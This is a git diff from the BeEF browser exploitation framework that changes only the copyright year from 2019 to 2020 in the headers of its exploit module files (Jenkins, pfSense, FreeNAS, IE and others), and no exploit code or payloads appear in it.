Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/jenkins_groovy_code_exec/command.js b/modules/exploits/jenkins_groovy_code_exec/command.js index ed8f05251..66081dd39 100644 --- a/modules/exploits/jenkins_groovy_code_exec/command.js +++ b/modules/exploits/jenkins_groovy_code_exec/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/jenkins_groovy_code_exec/config.yaml b/modules/exploits/jenkins_groovy_code_exec/config.yaml index f993d96e7..094b932fc 100644 --- a/modules/exploits/jenkins_groovy_code_exec/config.yaml +++ b/modules/exploits/jenkins_groovy_code_exec/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/jenkins_groovy_code_exec/module.rb b/modules/exploits/jenkins_groovy_code_exec/module.rb index 3c7b9ee86..d21418b67 100644 --- a/modules/exploits/jenkins_groovy_code_exec/module.rb +++ b/modules/exploits/jenkins_groovy_code_exec/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/kemp_command_execution/command.js b/modules/exploits/kemp_command_execution/command.js index baa44aff6..a7f06f670 100644 --- a/modules/exploits/kemp_command_execution/command.js +++ b/modules/exploits/kemp_command_execution/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/kemp_command_execution/config.yaml b/modules/exploits/kemp_command_execution/config.yaml index e49ee8c59..093a619e0 100644 --- a/modules/exploits/kemp_command_execution/config.yaml +++ b/modules/exploits/kemp_command_execution/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/kemp_command_execution/module.rb b/modules/exploits/kemp_command_execution/module.rb index d13288ae3..fa0ceb9f2 100644 --- a/modules/exploits/kemp_command_execution/module.rb +++ b/modules/exploits/kemp_command_execution/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/local_host/activex_command_execution/command.js b/modules/exploits/local_host/activex_command_execution/command.js index 7ba53a6a4..8ee28e8d5 100755 --- a/modules/exploits/local_host/activex_command_execution/command.js +++ b/modules/exploits/local_host/activex_command_execution/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/local_host/activex_command_execution/config.yaml b/modules/exploits/local_host/activex_command_execution/config.yaml index b30e75e1f..b2f0794a3 100755 --- a/modules/exploits/local_host/activex_command_execution/config.yaml +++ b/modules/exploits/local_host/activex_command_execution/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/local_host/activex_command_execution/module.rb b/modules/exploits/local_host/activex_command_execution/module.rb index a950b117a..b242833d4 100755 --- a/modules/exploits/local_host/activex_command_execution/module.rb +++ b/modules/exploits/local_host/activex_command_execution/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/local_host/ie_ms12_004_midi/command.js b/modules/exploits/local_host/ie_ms12_004_midi/command.js index 4c57f36ea..48bda6552 100644 --- a/modules/exploits/local_host/ie_ms12_004_midi/command.js +++ b/modules/exploits/local_host/ie_ms12_004_midi/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/local_host/ie_ms12_004_midi/config.yaml b/modules/exploits/local_host/ie_ms12_004_midi/config.yaml index 43e9792c1..be6a3dd0e 100644 --- a/modules/exploits/local_host/ie_ms12_004_midi/config.yaml +++ b/modules/exploits/local_host/ie_ms12_004_midi/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/local_host/ie_ms12_004_midi/module.rb b/modules/exploits/local_host/ie_ms12_004_midi/module.rb index c14be0813..31a116dce 100644 --- a/modules/exploits/local_host/ie_ms12_004_midi/module.rb +++ b/modules/exploits/local_host/ie_ms12_004_midi/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/local_host/ie_ms13_069_caret/command.js b/modules/exploits/local_host/ie_ms13_069_caret/command.js index 5ab4c1346..dec00134b 100644 --- a/modules/exploits/local_host/ie_ms13_069_caret/command.js +++ b/modules/exploits/local_host/ie_ms13_069_caret/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/local_host/ie_ms13_069_caret/config.yaml b/modules/exploits/local_host/ie_ms13_069_caret/config.yaml index a9b0b585c..5d27e022d 100644 --- a/modules/exploits/local_host/ie_ms13_069_caret/config.yaml +++ b/modules/exploits/local_host/ie_ms13_069_caret/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/local_host/ie_ms13_069_caret/module.rb b/modules/exploits/local_host/ie_ms13_069_caret/module.rb index a50a84c70..99516c10c 100644 --- a/modules/exploits/local_host/ie_ms13_069_caret/module.rb +++ b/modules/exploits/local_host/ie_ms13_069_caret/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/local_host/java_payload/command.js b/modules/exploits/local_host/java_payload/command.js index ed5ea10c0..e8d343925 100755 --- a/modules/exploits/local_host/java_payload/command.js +++ b/modules/exploits/local_host/java_payload/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/local_host/java_payload/config.yaml b/modules/exploits/local_host/java_payload/config.yaml index e4703bb68..45d6faa74 100755 --- a/modules/exploits/local_host/java_payload/config.yaml +++ b/modules/exploits/local_host/java_payload/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/local_host/java_payload/module.rb b/modules/exploits/local_host/java_payload/module.rb index 006e4f33e..de973567c 100755 --- a/modules/exploits/local_host/java_payload/module.rb +++ b/modules/exploits/local_host/java_payload/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/local_host/mozilla_nsiprocess_interface/command.js b/modules/exploits/local_host/mozilla_nsiprocess_interface/command.js index d08e4bb07..5b512aaca 100644 --- a/modules/exploits/local_host/mozilla_nsiprocess_interface/command.js +++ b/modules/exploits/local_host/mozilla_nsiprocess_interface/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/local_host/mozilla_nsiprocess_interface/config.yaml b/modules/exploits/local_host/mozilla_nsiprocess_interface/config.yaml index bfa917636..4238c19d9 100644 --- a/modules/exploits/local_host/mozilla_nsiprocess_interface/config.yaml +++ b/modules/exploits/local_host/mozilla_nsiprocess_interface/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/local_host/mozilla_nsiprocess_interface/module.rb b/modules/exploits/local_host/mozilla_nsiprocess_interface/module.rb index 1f8c8ae8c..40a0f4b8f 100644 --- a/modules/exploits/local_host/mozilla_nsiprocess_interface/module.rb +++ b/modules/exploits/local_host/mozilla_nsiprocess_interface/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/local_host/safari_launch_app/command.js b/modules/exploits/local_host/safari_launch_app/command.js index 84b663500..f5c2f7946 100755 --- a/modules/exploits/local_host/safari_launch_app/command.js +++ b/modules/exploits/local_host/safari_launch_app/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/local_host/safari_launch_app/config.yaml b/modules/exploits/local_host/safari_launch_app/config.yaml index e446bf10c..2fb219881 100755 --- a/modules/exploits/local_host/safari_launch_app/config.yaml +++ b/modules/exploits/local_host/safari_launch_app/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/local_host/safari_launch_app/module.rb b/modules/exploits/local_host/safari_launch_app/module.rb index 53fa13d90..d91bda06b 100755 --- a/modules/exploits/local_host/safari_launch_app/module.rb +++ b/modules/exploits/local_host/safari_launch_app/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/local_host/signed_applet_dropper/applet/SM.java b/modules/exploits/local_host/signed_applet_dropper/applet/SM.java index 91676e921..141b3c860 100755 --- a/modules/exploits/local_host/signed_applet_dropper/applet/SM.java +++ b/modules/exploits/local_host/signed_applet_dropper/applet/SM.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * * author: antisnatchor diff --git a/modules/exploits/local_host/signed_applet_dropper/applet/SignedApplet.java b/modules/exploits/local_host/signed_applet_dropper/applet/SignedApplet.java index 6961eab75..9e88479f7 100755 --- a/modules/exploits/local_host/signed_applet_dropper/applet/SignedApplet.java +++ b/modules/exploits/local_host/signed_applet_dropper/applet/SignedApplet.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * * author: antisnatchor diff --git a/modules/exploits/local_host/signed_applet_dropper/command.js b/modules/exploits/local_host/signed_applet_dropper/command.js index d74cc6951..4896ec1f5 100755 --- a/modules/exploits/local_host/signed_applet_dropper/command.js +++ b/modules/exploits/local_host/signed_applet_dropper/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/local_host/signed_applet_dropper/config.yaml b/modules/exploits/local_host/signed_applet_dropper/config.yaml index 749585517..7e9efe521 100755 --- a/modules/exploits/local_host/signed_applet_dropper/config.yaml +++ b/modules/exploits/local_host/signed_applet_dropper/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/local_host/signed_applet_dropper/module.rb b/modules/exploits/local_host/signed_applet_dropper/module.rb index da0c346e8..7a91a491a 100755 --- a/modules/exploits/local_host/signed_applet_dropper/module.rb +++ b/modules/exploits/local_host/signed_applet_dropper/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/local_host/window_mail_client_dos/command.js b/modules/exploits/local_host/window_mail_client_dos/command.js index 2b092fa7e..5bdd467bb 100644 --- a/modules/exploits/local_host/window_mail_client_dos/command.js +++ b/modules/exploits/local_host/window_mail_client_dos/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/local_host/window_mail_client_dos/config.yaml b/modules/exploits/local_host/window_mail_client_dos/config.yaml index 53ed001e1..9b3c15b7e 100644 --- a/modules/exploits/local_host/window_mail_client_dos/config.yaml +++ b/modules/exploits/local_host/window_mail_client_dos/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/local_host/window_mail_client_dos/module.rb b/modules/exploits/local_host/window_mail_client_dos/module.rb index e8dbb13c0..e28423208 100644 --- a/modules/exploits/local_host/window_mail_client_dos/module.rb +++ b/modules/exploits/local_host/window_mail_client_dos/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/m0n0wall/command.js b/modules/exploits/m0n0wall/command.js index 9eaa4c565..e98203c39 100644 --- a/modules/exploits/m0n0wall/command.js +++ b/modules/exploits/m0n0wall/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/m0n0wall/config.yaml b/modules/exploits/m0n0wall/config.yaml index 7ef2ae14d..a328b2b42 100644 --- a/modules/exploits/m0n0wall/config.yaml +++ b/modules/exploits/m0n0wall/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/m0n0wall/module.rb b/modules/exploits/m0n0wall/module.rb index 4058b1c53..22c2ad90d 100644 --- a/modules/exploits/m0n0wall/module.rb +++ b/modules/exploits/m0n0wall/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/nas/dlink_sharecenter_cmd_exec/command.js b/modules/exploits/nas/dlink_sharecenter_cmd_exec/command.js index 874ea5491..7ef51e380 100644 --- a/modules/exploits/nas/dlink_sharecenter_cmd_exec/command.js +++ b/modules/exploits/nas/dlink_sharecenter_cmd_exec/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/nas/dlink_sharecenter_cmd_exec/config.yaml b/modules/exploits/nas/dlink_sharecenter_cmd_exec/config.yaml index c5147c23b..d20dc4337 100644 --- a/modules/exploits/nas/dlink_sharecenter_cmd_exec/config.yaml +++ b/modules/exploits/nas/dlink_sharecenter_cmd_exec/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/nas/dlink_sharecenter_cmd_exec/module.rb b/modules/exploits/nas/dlink_sharecenter_cmd_exec/module.rb index b59af1569..30f064a4c 100644 --- a/modules/exploits/nas/dlink_sharecenter_cmd_exec/module.rb +++ b/modules/exploits/nas/dlink_sharecenter_cmd_exec/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission ### diff --git a/modules/exploits/nas/freenas_reverse_root_shell_csrf/command.js b/modules/exploits/nas/freenas_reverse_root_shell_csrf/command.js index 4e217f974..9a8ae4f10 100644 --- a/modules/exploits/nas/freenas_reverse_root_shell_csrf/command.js +++ b/modules/exploits/nas/freenas_reverse_root_shell_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/nas/freenas_reverse_root_shell_csrf/config.yaml b/modules/exploits/nas/freenas_reverse_root_shell_csrf/config.yaml index d6dcad0ad..14028f3b2 100644 --- a/modules/exploits/nas/freenas_reverse_root_shell_csrf/config.yaml +++ b/modules/exploits/nas/freenas_reverse_root_shell_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/nas/freenas_reverse_root_shell_csrf/module.rb b/modules/exploits/nas/freenas_reverse_root_shell_csrf/module.rb index 719ee496a..17dd73bb9 100644 --- a/modules/exploits/nas/freenas_reverse_root_shell_csrf/module.rb +++ b/modules/exploits/nas/freenas_reverse_root_shell_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/ntfscommoncreate_dos/command.js b/modules/exploits/ntfscommoncreate_dos/command.js index e200ffb7f..80273c95d 100644 --- a/modules/exploits/ntfscommoncreate_dos/command.js +++ b/modules/exploits/ntfscommoncreate_dos/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/ntfscommoncreate_dos/config.yaml b/modules/exploits/ntfscommoncreate_dos/config.yaml index 6d80e81d7..4594599db 100644 --- a/modules/exploits/ntfscommoncreate_dos/config.yaml +++ b/modules/exploits/ntfscommoncreate_dos/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/ntfscommoncreate_dos/module.rb b/modules/exploits/ntfscommoncreate_dos/module.rb index d7775f3b6..3151e7b0a 100644 --- a/modules/exploits/ntfscommoncreate_dos/module.rb +++ b/modules/exploits/ntfscommoncreate_dos/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/opencart_reset_password/command.js b/modules/exploits/opencart_reset_password/command.js index 19c4ee5ed..c20e6984c 100644 --- a/modules/exploits/opencart_reset_password/command.js +++ b/modules/exploits/opencart_reset_password/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/opencart_reset_password/config.yaml b/modules/exploits/opencart_reset_password/config.yaml index fcad88ea7..995780244 100644 --- a/modules/exploits/opencart_reset_password/config.yaml +++ b/modules/exploits/opencart_reset_password/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/opencart_reset_password/module.rb b/modules/exploits/opencart_reset_password/module.rb index 195816f82..9c6ed2975 100644 --- a/modules/exploits/opencart_reset_password/module.rb +++ b/modules/exploits/opencart_reset_password/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js index eae631a14..a3ab767c2 100644 --- a/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js +++ b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/config.yaml b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/config.yaml index cf98abcca..0a216e2b0 100644 --- a/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/config.yaml +++ b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/module.rb b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/module.rb index b5e2baa2b..2753c9ba2 100644 --- a/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/module.rb +++ b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/command.js b/modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/command.js index 75201c5b5..cce8278a7 100644 --- a/modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/command.js +++ b/modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/config.yaml b/modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/config.yaml index 6f665a7e2..06a58b0e1 100644 --- a/modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/config.yaml +++ b/modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/module.rb b/modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/module.rb index 584280085..8cca7bd3e 100644 --- a/modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/module.rb +++ b/modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/php-5.3.9-dos/command.js b/modules/exploits/php-5.3.9-dos/command.js index 70141415e..60e63eda8 100644 --- a/modules/exploits/php-5.3.9-dos/command.js +++ b/modules/exploits/php-5.3.9-dos/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/php-5.3.9-dos/config.yaml b/modules/exploits/php-5.3.9-dos/config.yaml index e27af14e9..a20265478 100644 --- a/modules/exploits/php-5.3.9-dos/config.yaml +++ b/modules/exploits/php-5.3.9-dos/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for 